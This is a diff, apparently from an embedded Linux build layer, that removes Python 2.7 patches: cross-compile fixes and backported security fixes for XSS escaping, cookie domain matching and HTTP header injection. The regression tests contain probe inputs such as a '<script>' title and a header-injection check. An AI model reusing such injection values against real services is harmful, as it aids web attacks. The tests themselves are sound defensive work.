-Date: Tue, 1 Oct 2019 19:58:01 +0900
-Subject: [PATCH] [2.7] bpo-38243: Escape the server title of DocXMLRPCServer
- (GH-16447)
-
-Escape the server title of DocXMLRPCServer.DocXMLRPCServer
-when rendering the document page as HTML.
-
-CVE: CVE-2019-16935
-
-Upstream-Status: Backport [https://github.com/python/cpython/pull/16447/commits/b41cde823d026f2adc21ef14b1c2e92b1006de06]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- Lib/DocXMLRPCServer.py | 13 +++++++++++-
- Lib/test/test_docxmlrpc.py | 20 +++++++++++++++++++
- .../2019-09-25-13-21-09.bpo-38243.1pfz24.rst | 3 +++
- 3 files changed, 35 insertions(+), 1 deletion(-)
- create mode 100644 Misc/NEWS.d/next/Security/2019-09-25-13-21-09.bpo-38243.1pfz24.rst
-
-diff --git a/Lib/DocXMLRPCServer.py b/Lib/DocXMLRPCServer.py
-index 4064ec2e48..90b037dd35 100644
---- a/Lib/DocXMLRPCServer.py
-+++ b/Lib/DocXMLRPCServer.py
-@@ -20,6 +20,16 @@ from SimpleXMLRPCServer import (SimpleXMLRPCServer,
- CGIXMLRPCRequestHandler,
- resolve_dotted_attribute)
-
-+
-+def _html_escape_quote(s):
-+ s = s.replace("&", "&amp;") # Must be done first!
-+ s = s.replace("<", "&lt;")
-+ s = s.replace(">", "&gt;")
-+ s = s.replace('"', "&quot;")
-+ s = s.replace('\'', "&#x27;")
-+ return s
-+
-+
- class ServerHTMLDoc(pydoc.HTMLDoc):
- """Class used to generate pydoc HTML document for a server"""
-
-@@ -210,7 +220,8 @@ class XMLRPCDocGenerator:
- methods
- )
-
-- return documenter.page(self.server_title, documentation)
-+ title = _html_escape_quote(self.server_title)
-+ return documenter.page(title, documentation)
-
- class DocXMLRPCRequestHandler(SimpleXMLRPCRequestHandler):
- """XML-RPC and documentation request handler class.
-diff --git a/Lib/test/test_docxmlrpc.py b/Lib/test/test_docxmlrpc.py
-index 4dff4159e2..c45b892b8b 100644
---- a/Lib/test/test_docxmlrpc.py
-+++ b/Lib/test/test_docxmlrpc.py
-@@ -1,5 +1,6 @@
- from DocXMLRPCServer import DocXMLRPCServer
- import httplib
-+import re
- import sys
- from test import test_support
- threading = test_support.import_module('threading')
-@@ -176,6 +177,25 @@ class DocXMLRPCHTTPGETServer(unittest.TestCase):
- self.assertIn("""Try&nbsp;self.<strong>add</strong>,&nbsp;too.""",
- response.read())
-
-+ def test_server_title_escape(self):
-+ """Test that the server title and documentation
-+ are escaped for HTML.
-+ """
-+ self.serv.set_server_title('test_title<script>')
-+ self.serv.set_server_documentation('test_documentation<script>')
-+ self.assertEqual('test_title<script>', self.serv.server_title)
-+ self.assertEqual('test_documentation<script>',
-+ self.serv.server_documentation)
-+
-+ generated = self.serv.generate_html_documentation()
-+ title = re.search(r'<title>(.+?)</title>', generated).group()
-+ documentation = re.search(r'<p><tt>(.+?)</tt></p>', generated).group()
-+ self.assertEqual('<title>Python: test_title&lt;script&gt;</title>',
-+ title)
-+ self.assertEqual('<p><tt>test_documentation&lt;script&gt;</tt></p>',
-+ documentation)
-+
-+
- def test_main():
- test_support.run_unittest(DocXMLRPCHTTPGETServer)
-
-diff --git a/Misc/NEWS.d/next/Security/2019-09-25-13-21-09.bpo-38243.1pfz24.rst b/Misc/NEWS.d/next/Security/2019-09-25-13-21-09.bpo-38243.1pfz24.rst
-new file mode 100644
-index 0000000000..8f02baed9e
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2019-09-25-13-21-09.bpo-38243.1pfz24.rst
-@@ -0,0 +1,3 @@
-+Escape the server title of :class:`DocXMLRPCServer.DocXMLRPCServer`
-+when rendering the document page as HTML.
-+(Contributed by Dong-hee Na in :issue:`38243`.)
---
-2.17.1
-
diff --git a/meta/recipes-devtools/python/python/0001-distutils-set-the-prefix-to-be-inside-staging-direct.patch b/meta/recipes-devtools/python/python/0001-distutils-set-the-prefix-to-be-inside-staging-direct.patch
deleted file mode 100644
index 502f849804..0000000000
--- a/meta/recipes-devtools/python/python/0001-distutils-set-the-prefix-to-be-inside-staging-direct.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 4cdf2e9df13c6327fcc94d53e4953005543aef3d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 6 Apr 2016 17:43:02 +0300
-Subject: [PATCH 01/10] distutils: set the prefix to be inside staging
- directory
-
-The proper prefix is inside our staging area.
-
-Upstream-Status: Inappropriate [embedded specific]
-Signed-off-by: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-Signed-off-by: Phil Blundell <philb@gnu.org>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Lib/distutils/sysconfig.py | 10 +++++++---
- 1 file changed, 7 insertions(+), 3 deletions(-)
-
-diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index de7da1d..f3aacf7 100644
---- a/Lib/distutils/sysconfig.py
-+++ b/Lib/distutils/sysconfig.py
-@@ -75,7 +75,7 @@ def get_python_inc(plat_specific=0, prefix=None):
- sys.exec_prefix -- i.e., ignore 'plat_specific'.
- """
- if prefix is None:
-- prefix = plat_specific and EXEC_PREFIX or PREFIX
-+ prefix = os.environ['STAGING_INCDIR'].rstrip('include')
-
- if os.name == "posix":
- if python_build:
-@@ -115,12 +115,16 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
- If 'prefix' is supplied, use it instead of sys.prefix or
- sys.exec_prefix -- i.e., ignore 'plat_specific'.
- """
-+ lib_basename = os.environ['STAGING_LIBDIR'].split('/')[-1]
- if prefix is None:
-- prefix = plat_specific and EXEC_PREFIX or PREFIX
-+ if plat_specific:
-+ prefix = os.environ['STAGING_LIBDIR'].rstrip(lib_basename)
-+ else:
-+ prefix = PREFIX
-
- if os.name == "posix":
- libpython = os.path.join(prefix,
-- "lib", "python" + get_python_version())
-+ lib_basename, "python" + get_python_version())
- if standard_lib:
- return libpython
- else:
---
-2.8.0.rc3
-
diff --git a/meta/recipes-devtools/python/python/0001-python2-use-cc_basename-to-replace-CC-for-checking-c.patch b/meta/recipes-devtools/python/python/0001-python2-use-cc_basename-to-replace-CC-for-checking-c.patch
deleted file mode 100644
index 6e4f820913..0000000000
--- a/meta/recipes-devtools/python/python/0001-python2-use-cc_basename-to-replace-CC-for-checking-c.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From 3f49be81e31c164654aeb10b65ebade982ca2ed8 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 22 Oct 2018 15:24:48 +0800
-Subject: [PATCH] python2: use cc_basename to replace CC for checking compiler
-
-When working path contains "clang"/"gcc"/"icc", it might be part of $CC
-because of the "--sysroot" parameter. That could cause judgement error
-about clang/gcc/icc compilers. e.g.
-When "icc" is containded in working path, below errors are reported when
-compiling python:
-x86_64-wrs-linux-gcc: error: strict: No such file or directory
-x86_64-wrs-linux-gcc: error: unrecognized command line option '-fp-model'
-
-Here use cc_basename to replace CC for checking compiler to avoid such
-kind of issue.
-
-Upstream-Status: Pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
-
-Patch orignally from Li Zhou, I just rework it to new version
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- configure.ac | 18 +++++++++---------
- 1 file changed, 9 insertions(+), 9 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index db1c940..dfcd89a 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -684,7 +684,7 @@ AC_MSG_RESULT($with_cxx_main)
- preset_cxx="$CXX"
- if test -z "$CXX"
- then
-- case "$CC" in
-+ case "$cc_basename" in
- gcc) AC_PATH_TOOL(CXX, [g++], [g++], [notfound]) ;;
- cc) AC_PATH_TOOL(CXX, [c++], [c++], [notfound]) ;;
- esac
-@@ -757,14 +757,14 @@ rmdir CaseSensitiveTestDir
-
- case $MACHDEP in
- bsdos*)
-- case $CC in
-+ case $cc_basename in
- gcc) CC="$CC -D_HAVE_BSDI";;
- esac;;
- esac
-
- case $ac_sys_system in
- hp*|HP*)
-- case $CC in
-+ case $cc_basename in
- cc|*/cc) CC="$CC -Ae";;
- esac;;
- SunOS*)
-@@ -1084,7 +1084,7 @@ then
- fi
-
- # Clang also needs -fwrapv
-- case $CC in
-+ case $cc_basename in
- *clang*) WRAP="-fwrapv"
- ;;
- esac
-@@ -1304,7 +1304,7 @@ yes)
- esac
-
- # ICC needs -fp-model strict or floats behave badly
--case "$CC" in
-+case "$cc_basename" in
- *icc*)
- BASECFLAGS="$BASECFLAGS -fp-model strict"
- ;;
-@@ -1443,7 +1443,7 @@ else
- fi],
- [AC_MSG_RESULT(no)])
- if test "$Py_LTO" = 'true' ; then
-- case $CC in
-+ case $cc_basename in
- *clang*)
- # Any changes made here should be reflected in the GCC+Darwin case below
- LTOFLAGS="-flto"
-@@ -1508,7 +1508,7 @@ then
- fi
- fi
- LLVM_PROF_ERR=no
--case $CC in
-+case $cc_basename in
- *clang*)
- # Any changes made here should be reflected in the GCC+Darwin case below
- PGO_PROF_GEN_FLAG="-fprofile-instr-generate"
-@@ -2322,7 +2322,7 @@ then
- then CCSHARED="-fPIC"
- else CCSHARED="-Kpic -belf"
- fi;;
-- IRIX*/6*) case $CC in
-+ IRIX*/6*) case $cc_basename in
- *gcc*) CCSHARED="-shared";;
- *) CCSHARED="";;
- esac;;
-@@ -2366,7 +2366,7 @@ then
- then
- LINKFORSHARED="-Wl,--export-dynamic"
- fi;;
-- SunOS/5*) case $CC in
-+ SunOS/5*) case $cc_basename in
- *gcc*)
- if $CC -Xlinker --help 2>&1 | grep export-dynamic >/dev/null
- then
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python/01-use-proper-tools-for-cross-build.patch b/meta/recipes-devtools/python/python/01-use-proper-tools-for-cross-build.patch
deleted file mode 100644
index e795a74b91..0000000000
--- a/meta/recipes-devtools/python/python/01-use-proper-tools-for-cross-build.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-We need to ensure our host tools get run during build, not the freshly
-built cross-tools (this will not work), so we introduce HOSTPYTHON and HOSTPGEN.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-
-Rebased for python-2.7.9
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-Rebased for python-2.7.14
-Signed-off-by: Derek Straka <derek@asterius.io>
-
-Index: Python-2.7.13/Makefile.pre.in
-===================================================================
---- Python-2.7.13.orig/Makefile.pre.in
-+++ Python-2.7.13/Makefile.pre.in
-@@ -245,6 +245,7 @@ LIBFFI_INCLUDEDIR= @LIBFFI_INCLUDEDIR@
- ##########################################################################
- # Parser
- PGEN= Parser/pgen$(EXE)
-+HOSTPGEN= $(PGEN)$(EXE)
-
- PSRCS= \
- Parser/acceler.c \
-@@ -512,7 +513,7 @@ $(BUILDPYTHON): Modules/python.o $(LIBRA
- $(BLDLIBRARY) $(LIBS) $(MODLIBS) $(SYSLIBS) $(LDLAST)
-
- platform: $(BUILDPYTHON) pybuilddir.txt
-- $(RUNSHARED) $(PYTHON_FOR_BUILD) -c 'import sys ; from sysconfig import get_platform ; print get_platform()+"-"+sys.version[0:3]' >platform
-+ $(RUNSHARED) $(PYTHON_FOR_BUILD) -c 'import sys ; from distutils.util import get_platform ; print get_platform()+"-"+sys.version[0:3]' >platform
-
- # Create build directory and generate the sysconfig build-time data there.
- # pybuilddir.txt contains the name of the build dir and is used for
-@@ -663,7 +663,7 @@
- # Regenerate Include/graminit.h and Python/graminit.c
- # from Grammar/Grammar using pgen
- @$(MKDIR_P) Include
-- $(PGEN) $(srcdir)/Grammar/Grammar \
-+ $(HOSTPGEN) $(srcdir)/Grammar/Grammar \
- $(srcdir)/Include/graminit.h \
- $(srcdir)/Python/graminit.c
-
-@@ -1121,27 +1122,27 @@ libinstall: build_all $(srcdir)/Lib/$(PL
- $(DESTDIR)$(LIBDEST)/distutils/tests ; \
- fi
- PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
-+ $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
- PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -Wi -tt -O $(DESTDIR)$(LIBDEST)/compileall.py \
-+ $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -Wi -t $(DESTDIR)$(LIBDEST)/compileall.py \
-+ $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -Wi -t -O $(DESTDIR)$(LIBDEST)/compileall.py \
-+ $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/Grammar.txt
-+ $(HOSTPYTHON) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/Grammar.txt
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-- $(PYTHON_FOR_BUILD) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/PatternGrammar.txt
-+ $(HOSTPYTHON) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/PatternGrammar.txt
-
- # Create the PLATDIR source directory, if one wasn't distributed..
- $(srcdir)/Lib/$(PLATDIR):
-Index: Python-2.7.13/setup.py
-===================================================================
---- Python-2.7.13.orig/setup.py
-+++ Python-2.7.13/setup.py
-@@ -350,6 +350,7 @@ class PyBuildExt(build_ext):
- self.failed.append(ext.name)
- self.announce('*** WARNING: renaming "%s" since importing it'
- ' failed: %s' % (ext.name, why), level=3)
-+ return
- assert not self.inplace
- basename, tail = os.path.splitext(ext_filename)
- newname = basename + "_failed" + tail
-@@ -574,6 +575,9 @@ class PyBuildExt(build_ext):
-
- # XXX Omitted modules: gl, pure, dl, SGI-specific modules
-
-+ lib_dirs = [ os.getenv("STAGING_LIBDIR"), os.getenv("STAGING_BASELIBDIR") ]
-+ inc_dirs = [ os.getenv("STAGING_INCDIR") ]
-+
- #
- # The following modules are all pretty straightforward, and compile
- # on pretty much any POSIXish platform.
diff --git a/meta/recipes-devtools/python/python/03-fix-tkinter-detection.patch b/meta/recipes-devtools/python/python/03-fix-tkinter-detection.patch
deleted file mode 100644
index 650ceb5951..0000000000
--- a/meta/recipes-devtools/python/python/03-fix-tkinter-detection.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-We need to supply STAGING_INCDIR here, otherwise the Tk headers
-will not be found.
-
-Signed-off-by: Michael 'Mickey' Lauer <mickey@vanille.de>
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-
-Rebased for python-2.7.9
-
-diff --git a/setup.py b/setup.py
-index 8fe1fb8..67eda74 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1892,7 +1892,7 @@ class PyBuildExt(build_ext):
- dotversion = dotversion[:-1] + '.' + dotversion[-1]
- tcl_include_sub = []
- tk_include_sub = []
-- for dir in inc_dirs:
-+ for dir in [os.getenv("STAGING_INCDIR")]:
- tcl_include_sub += [dir + os.sep + "tcl" + dotversion]
- tk_include_sub += [dir + os.sep + "tk" + dotversion]
- tk_include_sub += tcl_include_sub
-@@ -1911,22 +1911,6 @@ class PyBuildExt(build_ext):
- if dir not in include_dirs:
- include_dirs.append(dir)
-
-- # Check for various platform-specific directories
-- if host_platform == 'sunos5':
-- include_dirs.append('/usr/openwin/include')
-- added_lib_dirs.append('/usr/openwin/lib')
-- elif os.path.exists('/usr/X11R6/include'):
-- include_dirs.append('/usr/X11R6/include')
-- added_lib_dirs.append('/usr/X11R6/lib64')
-- added_lib_dirs.append('/usr/X11R6/lib')
-- elif os.path.exists('/usr/X11R5/include'):
-- include_dirs.append('/usr/X11R5/include')
-- added_lib_dirs.append('/usr/X11R5/lib')
-- else:
-- # Assume default location for X11
-- include_dirs.append('/usr/X11/include')
-- added_lib_dirs.append('/usr/X11/lib')
--
- # If Cygwin, then verify that X is installed before proceeding
- if host_platform == 'cygwin':
- x11_inc = find_file('X11/Xlib.h', [], include_dirs)
diff --git a/meta/recipes-devtools/python/python/05-enable-ctypes-cross-build.patch b/meta/recipes-devtools/python/python/05-enable-ctypes-cross-build.patch
deleted file mode 100644
index 5cc8742462..0000000000
--- a/meta/recipes-devtools/python/python/05-enable-ctypes-cross-build.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-Rebased for python 2.7.9
-
-Upstream-Status: Inappropriate [embedded specific]
-
-# CTypes need to know the actual host we are building on.
-# Signed-Off: Michael Dietrich <mdt@emdete.de>
-
-Index: Python-2.7.9/setup.py
-===================================================================
---- Python-2.7.9.orig/setup.py
-+++ Python-2.7.9/setup.py
-@@ -2028,12 +2028,12 @@ class PyBuildExt(build_ext):
-
- # Pass empty CFLAGS because we'll just append the resulting
- # CFLAGS to Python's; -g or -O2 is to be avoided.
-- cmd = "cd %s && env CFLAGS='' '%s/configure' %s" \
-- % (ffi_builddir, ffi_srcdir, " ".join(config_args))
-+ cmd = "(cd %s && autoconf -W cross) && (cd %s && env CFLAGS='' '%s/configure' %s)" \
-+ % (ffi_srcdir, ffi_builddir, ffi_srcdir, " ".join(config_args))
-
- res = os.system(cmd)
- if res or not os.path.exists(ffi_configfile):
-- print "Failed to configure _ctypes module"
-+ print "Failed to configure _ctypes module (res=%d) or missing conffile=%s" % ( res, ffi_configfile )
- return False
-
- fficonfig = {}
diff --git a/meta/recipes-devtools/python/python/06-avoid_usr_lib_termcap_path_in_linking.patch b/meta/recipes-devtools/python/python/06-avoid_usr_lib_termcap_path_in_linking.patch
deleted file mode 100644
index 435b319013..0000000000
--- a/meta/recipes-devtools/python/python/06-avoid_usr_lib_termcap_path_in_linking.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Pending
-
-The poison directories patch has detected library path issue while
-compiling the python in cross environment, as seen bellow.
-
-warning: library search path "/usr/lib/termcap" is unsafe for cross-compilation
-
-This Patch fixes this issue in the python build environment.
-11 Oct 2010
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-2011/09/29
-Rebased for python 2.7.2
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-
-diff --git a/setup.py b/setup.py
-index 67eda74..59c537e 100644
---- a/setup.py
-+++ b/setup.py
-@@ -761,12 +761,10 @@ class PyBuildExt(build_ext):
- pass # Issue 7384: Already linked against curses or tinfo.
- elif curses_library:
- readline_libs.append(curses_library)
-- elif self.compiler.find_library_file(lib_dirs +
-- ['/usr/lib/termcap'],
-+ elif self.compiler.find_library_file(lib_dirs,
- 'termcap'):
- readline_libs.append('termcap')
- exts.append( Extension('readline', ['readline.c'],
-- library_dirs=['/usr/lib/termcap'],
- extra_link_args=readline_extra_link_args,
- libraries=readline_libs) )
- else:
diff --git a/meta/recipes-devtools/python/python/CVE-2018-20852.patch b/meta/recipes-devtools/python/python/CVE-2018-20852.patch
deleted file mode 100644
index 23c784a210..0000000000
--- a/meta/recipes-devtools/python/python/CVE-2018-20852.patch
+++ /dev/null
@@ -1,123 +0,0 @@
-From 979daae300916adb399ab5b51410b6ebd0888f13 Mon Sep 17 00:00:00 2001
-From: Xtreak <tir.karthi@gmail.com>
-Date: Sat, 15 Jun 2019 20:59:43 +0530
-Subject: [PATCH] [2.7] bpo-35121: prefix dot in domain for proper subdomain
- validation (GH-10258) (GH-13426)
-
-This is a manual backport of ca7fe5063593958e5efdf90f068582837f07bd14 since 2.7 has `http.cookiejar` in `cookielib`
-
-
-https://bugs.python.org/issue35121
-CVE: CVE-2018-20852
-Upstream-Status: Backport [https://github.com/python/cpython/pull/13426]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- Lib/cookielib.py | 13 ++++++--
- Lib/test/test_cookielib.py | 30 +++++++++++++++++++
- .../2019-05-20-00-35-12.bpo-35121.RRi-HU.rst | 4 +++
- 3 files changed, 45 insertions(+), 2 deletions(-)
- create mode 100644 Misc/NEWS.d/next/Security/2019-05-20-00-35-12.bpo-35121.RRi-HU.rst
-
-diff --git a/Lib/cookielib.py b/Lib/cookielib.py
-index 2dd7c48728e0..0b471a42f296 100644
---- a/Lib/cookielib.py
-+++ b/Lib/cookielib.py
-@@ -1139,6 +1139,11 @@ def return_ok_domain(self, cookie, request):
- req_host, erhn = eff_request_host(request)
- domain = cookie.domain
-
-+ if domain and not domain.startswith("."):
-+ dotdomain = "." + domain
-+ else:
-+ dotdomain = domain
-+
- # strict check of non-domain cookies: Mozilla does this, MSIE5 doesn't
- if (cookie.version == 0 and
- (self.strict_ns_domain & self.DomainStrictNonDomain) and
-@@ -1151,7 +1156,7 @@ def return_ok_domain(self, cookie, request):
- _debug(" effective request-host name %s does not domain-match "
- "RFC 2965 cookie domain %s", erhn, domain)
- return False
-- if cookie.version == 0 and not ("."+erhn).endswith(domain):
-+ if cookie.version == 0 and not ("."+erhn).endswith(dotdomain):
- _debug(" request-host %s does not match Netscape cookie domain "
- "%s", req_host, domain)
- return False
-@@ -1165,7 +1170,11 @@ def domain_return_ok(self, domain, request):
- req_host = "."+req_host
- if not erhn.startswith("."):
- erhn = "."+erhn
-- if not (req_host.endswith(domain) or erhn.endswith(domain)):
-+ if domain and not domain.startswith("."):
-+ dotdomain = "." + domain
-+ else:
-+ dotdomain = domain
-+ if not (req_host.endswith(dotdomain) or erhn.endswith(dotdomain)):
- #_debug(" request domain %s does not match cookie domain %s",
- # req_host, domain)
- return False
-diff --git a/Lib/test/test_cookielib.py b/Lib/test/test_cookielib.py
-index f2dd9727d137..7f7ff614d61d 100644
---- a/Lib/test/test_cookielib.py
-+++ b/Lib/test/test_cookielib.py
-@@ -368,6 +368,7 @@ def test_domain_return_ok(self):
- ("http://foo.bar.com/", ".foo.bar.com", True),
- ("http://foo.bar.com/", "foo.bar.com", True),
- ("http://foo.bar.com/", ".bar.com", True),
-+ ("http://foo.bar.com/", "bar.com", True),
- ("http://foo.bar.com/", "com", True),
- ("http://foo.com/", "rhubarb.foo.com", False),
- ("http://foo.com/", ".foo.com", True),
-@@ -378,6 +379,8 @@ def test_domain_return_ok(self):
- ("http://foo/", "foo", True),
- ("http://foo/", "foo.local", True),
- ("http://foo/", ".local", True),
-+ ("http://barfoo.com", ".foo.com", False),
-+ ("http://barfoo.com", "foo.com", False),
- ]:
- request = urllib2.Request(url)
- r = pol.domain_return_ok(domain, request)
-@@ -938,6 +941,33 @@ def test_domain_block(self):
- c.add_cookie_header(req)
- self.assertFalse(req.has_header("Cookie"))
-
-+ c.clear()
-+
-+ pol.set_blocked_domains([])
-+ req = Request("http://acme.com/")
-+ res = FakeResponse(headers, "http://acme.com/")
-+ cookies = c.make_cookies(res, req)
-+ c.extract_cookies(res, req)
-+ self.assertEqual(len(c), 1)
-+
-+ req = Request("http://acme.com/")
-+ c.add_cookie_header(req)
-+ self.assertTrue(req.has_header("Cookie"))
-+
-+ req = Request("http://badacme.com/")
-+ c.add_cookie_header(req)
-+ self.assertFalse(pol.return_ok(cookies[0], req))
-+ self.assertFalse(req.has_header("Cookie"))
-+
-+ p = pol.set_blocked_domains(["acme.com"])
-+ req = Request("http://acme.com/")
-+ c.add_cookie_header(req)
-+ self.assertFalse(req.has_header("Cookie"))
-+
-+ req = Request("http://badacme.com/")
-+ c.add_cookie_header(req)
-+ self.assertFalse(req.has_header("Cookie"))
-+
- def test_secure(self):
- from cookielib import CookieJar, DefaultCookiePolicy
-
-diff --git a/Misc/NEWS.d/next/Security/2019-05-20-00-35-12.bpo-35121.RRi-HU.rst b/Misc/NEWS.d/next/Security/2019-05-20-00-35-12.bpo-35121.RRi-HU.rst
-new file mode 100644
-index 000000000000..77251806163b
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2019-05-20-00-35-12.bpo-35121.RRi-HU.rst
-@@ -0,0 +1,4 @@
-+Don't send cookies of domain A without Domain attribute to domain B when
-+domain A is a suffix match of domain B while using a cookiejar with
-+:class:`cookielib.DefaultCookiePolicy` policy. Patch by Karthikeyan
-+Singaravelan.
diff --git a/meta/recipes-devtools/python/python/CVE-2019-9740.patch b/meta/recipes-devtools/python/python/CVE-2019-9740.patch
deleted file mode 100644
index 95f43e0387..0000000000
--- a/meta/recipes-devtools/python/python/CVE-2019-9740.patch
+++ /dev/null
@@ -1,216 +0,0 @@
-From bb8071a4cae5ab3fe321481dd3d73662ffb26052 Mon Sep 17 00:00:00 2001
-From: Victor Stinner <victor.stinner@gmail.com>
-Date: Tue, 21 May 2019 15:12:33 +0200
-Subject: [PATCH] bpo-30458: Disallow control chars in http URLs (GH-12755)
- (GH-13154) (GH-13315)
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Disallow control chars in http URLs in urllib2.urlopen. This
-addresses a potential security problem for applications that do not
-sanity check their URLs where http request headers could be injected.
-
-Disable https related urllib tests on a build without ssl (GH-13032)
-These tests require an SSL enabled build. Skip these tests when
-python is built without SSL to fix test failures.
-
-Use httplib.InvalidURL instead of ValueError as the new error case's
-exception. (GH-13044)
-
-Backport Co-Authored-By: Miro Hrončok <miro@hroncok.cz>
-
-(cherry picked from commit 7e200e0763f5b71c199aaf98bd5588f291585619)
-
-Notes on backport to Python 2.7:
-
-* test_urllib tests urllib.urlopen() which quotes the URL and so is
- not vulerable to HTTP Header Injection.
-* Add tests to test_urllib2 on urllib2.urlopen().
-* Reject non-ASCII characters: range 0x80-0xff.
-
-Upstream-Status: Backport
-CVE: CVE-2019-9740
-CVE: CVE-2019-9947
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- Lib/httplib.py | 16 ++++++
- Lib/test/test_urllib.py | 25 +++++++++
- Lib/test/test_urllib2.py | 51 ++++++++++++++++++-
- Lib/test/test_xmlrpc.py | 8 ++-
- .../2019-04-10-08-53-30.bpo-30458.51E-DA.rst | 1 +
- 5 files changed, 99 insertions(+), 2 deletions(-)
- create mode 100644 Misc/NEWS.d/next/Security/2019-04-10-08-53-30.bpo-30458.51E-DA.rst
-
-diff --git a/Lib/httplib.py b/Lib/httplib.py
-index 60a8fb4e355f..1b41c346e090 100644
---- a/Lib/httplib.py
-+++ b/Lib/httplib.py
-@@ -247,6 +247,16 @@
- _is_legal_header_name = re.compile(r'\A[^:\s][^:\r\n]*\Z').match
- _is_illegal_header_value = re.compile(r'\n(?![ \t])|\r(?![ \t\n])').search
-
-+# These characters are not allowed within HTTP URL paths.
-+# See https://tools.ietf.org/html/rfc3986#section-3.3 and the
-+# https://tools.ietf.org/html/rfc3986#appendix-A pchar definition.
-+# Prevents CVE-2019-9740. Includes control characters such as \r\n.
-+# Restrict non-ASCII characters above \x7f (0x80-0xff).
-+_contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f-\xff]')
-+# Arguably only these _should_ allowed:
-+# _is_allowed_url_pchars_re = re.compile(r"^[/!$&'()*+,;=:@%a-zA-Z0-9._~-]+$")
-+# We are more lenient for assumed real world compatibility purposes.
-+
- # We always set the Content-Length header for these methods because some
- # servers will otherwise respond with a 411
- _METHODS_EXPECTING_BODY = {'PATCH', 'POST', 'PUT'}
-@@ -927,6 +937,12 @@ def putrequest(self, method, url, skip_host=0, skip_accept_encoding=0):
- self._method = method
- if not url:
- url = '/'
-+ # Prevent CVE-2019-9740.
-+ match = _contains_disallowed_url_pchar_re.search(url)
-+ if match:
-+ raise InvalidURL("URL can't contain control characters. %r "
-+ "(found at least %r)"
-+ % (url, match.group()))
- hdr = '%s %s %s' % (method, url, self._http_vsn_str)
-
- self._output(hdr)
-diff --git a/Lib/test/test_urllib.py b/Lib/test/test_urllib.py
-index 1ce9201c0693..d7778d4194f3 100644
---- a/Lib/test/test_urllib.py
-+++ b/Lib/test/test_urllib.py
-@@ -257,6 +257,31 @@ def test_url_fragment(self):
- finally:
- self.unfakehttp()
-
-+ def test_url_with_control_char_rejected(self):
-+ for char_no in range(0, 0x21) + range(0x7f, 0x100):
-+ char = chr(char_no)
-+ schemeless_url = "//localhost:7777/test%s/" % char
-+ self.fakehttp(b"HTTP/1.1 200 OK\r\n\r\nHello.")
-+ try:
-+ # urllib quotes the URL so there is no injection.
-+ resp = urllib.urlopen("http:" + schemeless_url)
-+ self.assertNotIn(char, resp.geturl())
-+ finally:
-+ self.unfakehttp()
-+
-+ def test_url_with_newline_header_injection_rejected(self):
-+ self.fakehttp(b"HTTP/1.1 200 OK\r\n\r\nHello.")
